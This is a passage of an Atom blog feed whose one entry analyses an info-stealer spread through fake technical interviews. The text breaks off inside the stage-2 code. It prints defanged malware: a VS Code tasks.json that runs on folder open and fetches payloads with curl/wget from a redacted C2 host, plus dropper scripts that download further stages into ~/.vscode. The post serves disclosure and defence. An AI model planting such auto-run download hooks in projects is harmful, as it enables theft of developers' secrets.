<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Nrishinghananda Roy | DevOps Engineer</title>
    <subtitle>DevOps Engineer specializing in Kubernetes, Terraform, AWS, and secure cloud infrastructure. I build immutable deployments, robust CI&#x2F;CD pipelines, and scalable architectures.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://roynrishingha.com/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://roynrishingha.com"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-05-24T00:00:00+00:00</updated>
    <id>https://roynrishingha.com/atom.xml</id>
    <entry xml:lang="en">
        <title>The Fake Interview Trap: Reverse-Engineering a Info-Stealer</title>
        <published>2026-05-24T00:00:00+00:00</published>
        <updated>2026-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://roynrishingha.com/blog/fake-interview-info-stealer/"/>
        <id>https://roynrishingha.com/blog/fake-interview-info-stealer/</id>
        
        <content type="html" xml:base="https://roynrishingha.com/blog/fake-interview-info-stealer/">&lt;h2 id=&quot;tl-dr&quot;&gt;TL;DR&lt;&#x2F;h2&gt;
&lt;p&gt;Threat actors are targeting developers using fake technical interviews.
By tricking candidates into opening a seemingly benign GitHub repository in VS Code, an automated &lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt; exploit triggers a multi-stage infection chain.
The final payload is a highly obfuscated Node.js script that exfiltrates &lt;code&gt;process.env&lt;&#x2F;code&gt; secrets (API keys, database credentials) and establishes a persistent Command &amp;amp; Control (C2) beacon with an &lt;code&gt;eval()&lt;&#x2F;code&gt; Remote Code Execution (RCE) backdoor.&lt;&#x2F;p&gt;
&lt;p&gt;If you are asked to clone and open a random repository for an interview, inspect the hidden folders first.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;introduction-the-social-engineering-trap&quot;&gt;Introduction: The Social Engineering Trap&lt;&#x2F;h2&gt;
&lt;p&gt;Recently, I encountered a highly sophisticated malware campaign disguised as a technical interview.
The &quot;recruiter&quot; instructed me to clone a repository and open it in Visual Studio Code to complete an assessment.
Because I use a terminal-based editor, I naturally inspected the directory structure first and spotted a glaring red flag: a hidden &lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt; file weaponized to execute malicious shell commands upon opening the folder.&lt;&#x2F;p&gt;
&lt;p&gt;After publishing my initial findings, a senior engineer informed me that he had just faced the exact same interview trap and avoided it.&lt;&#x2F;p&gt;
&lt;p&gt;This post serves as a deep dive into the complete infection chain, reverse-engineering the final, heavily obfuscated JavaScript payload to expose exactly how this threat operates.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-infection-chain-stages-1-2&quot;&gt;The Infection Chain (Stages 1 &amp;amp; 2)&lt;&#x2F;h2&gt;
&lt;p&gt;This campaign relies on a &quot;Bring Your Own Runtime&quot; philosophy, ensuring the malware executes regardless of the victim&#x27;s local development setup.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-1-initial-access-the-vs-code-exploit&quot;&gt;Stage 1: Initial Access (The VS Code Exploit)&lt;&#x2F;h3&gt;
&lt;p&gt;The malicious repository contains no obvious malware in its application code. Instead, the attacker abuses VS Code&#x27;s native workspace automation. The &lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt; file utilizes the &lt;code&gt;runOn: folderOpen&lt;&#x2F;code&gt; trigger.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; WARNING: DEFANGED MALWARE SNIPPET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F; DO NOT EXECUTE. &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;2.0.0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;tasks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;install-root-modules&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;shell&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;npm install --silent --no-progress&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;      &#x2F;&#x2F; ... [Truncated for brevity] ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;runOptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;runOn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;folderOpen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;shell&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;osx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;curl -L &amp;#39;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;settings&#x2F;mac&amp;#39; | echo &amp;#39;Execution Neutralized&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;wget -qO- &amp;#39;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;linux&amp;#39; | echo &amp;#39;Execution Neutralized&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;windows&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;curl --ssl-no-revoke -L hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;windows | echo &amp;#39;Execution Neutralized&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;runOptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;runOn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;folderOpen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The moment the developer opens the folder in VS Code, the editor blindly executes the &lt;code&gt;wget&lt;&#x2F;code&gt; command, downloading a shell script and piping it directly into the system shell (&lt;code&gt;sh&lt;&#x2F;code&gt;). This achieves fileless, in-memory execution for the first stage.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# #!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# WARNING: DEFANGED MALWARE SNIPPET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Authenticated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;vscode-bootstrap.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;bootstraplinux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; +x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;vscode-bootstrap.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# nohup bash &amp;quot;$TARGET_DIR&#x2F;vscode-bootstrap.sh&amp;quot;  &amp;lt;-- [EXECUTION NEUTRALIZED]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;stage-2-staging-and-environment-provisioning&quot;&gt;Stage 2: Staging and Environment Provisioning&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;code&gt;stage1.sh&lt;&#x2F;code&gt; script is a lightweight dropper that reaches out to the attacker&#x27;s infrastructure to download a secondary script.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# #!&#x2F;bin&#x2F;bash &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# WARNING: DEFANGED MALWARE SNIPPET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# ... [Node.js Installation Logic Truncated for Safety &amp;amp; Brevity] ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;[INFO] Downloading env-setup.js and package.json...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; 2&amp;gt;&amp;amp;1;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&#x2F;env-setup.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;package&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -s -L -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&#x2F;env-setup.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -s -L -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.vscode&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;hXXps:&#x2F;&#x2F;[REDACTED-C2-DOMAIN].vercel.app&#x2F;api&#x2F;settings&#x2F;package&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
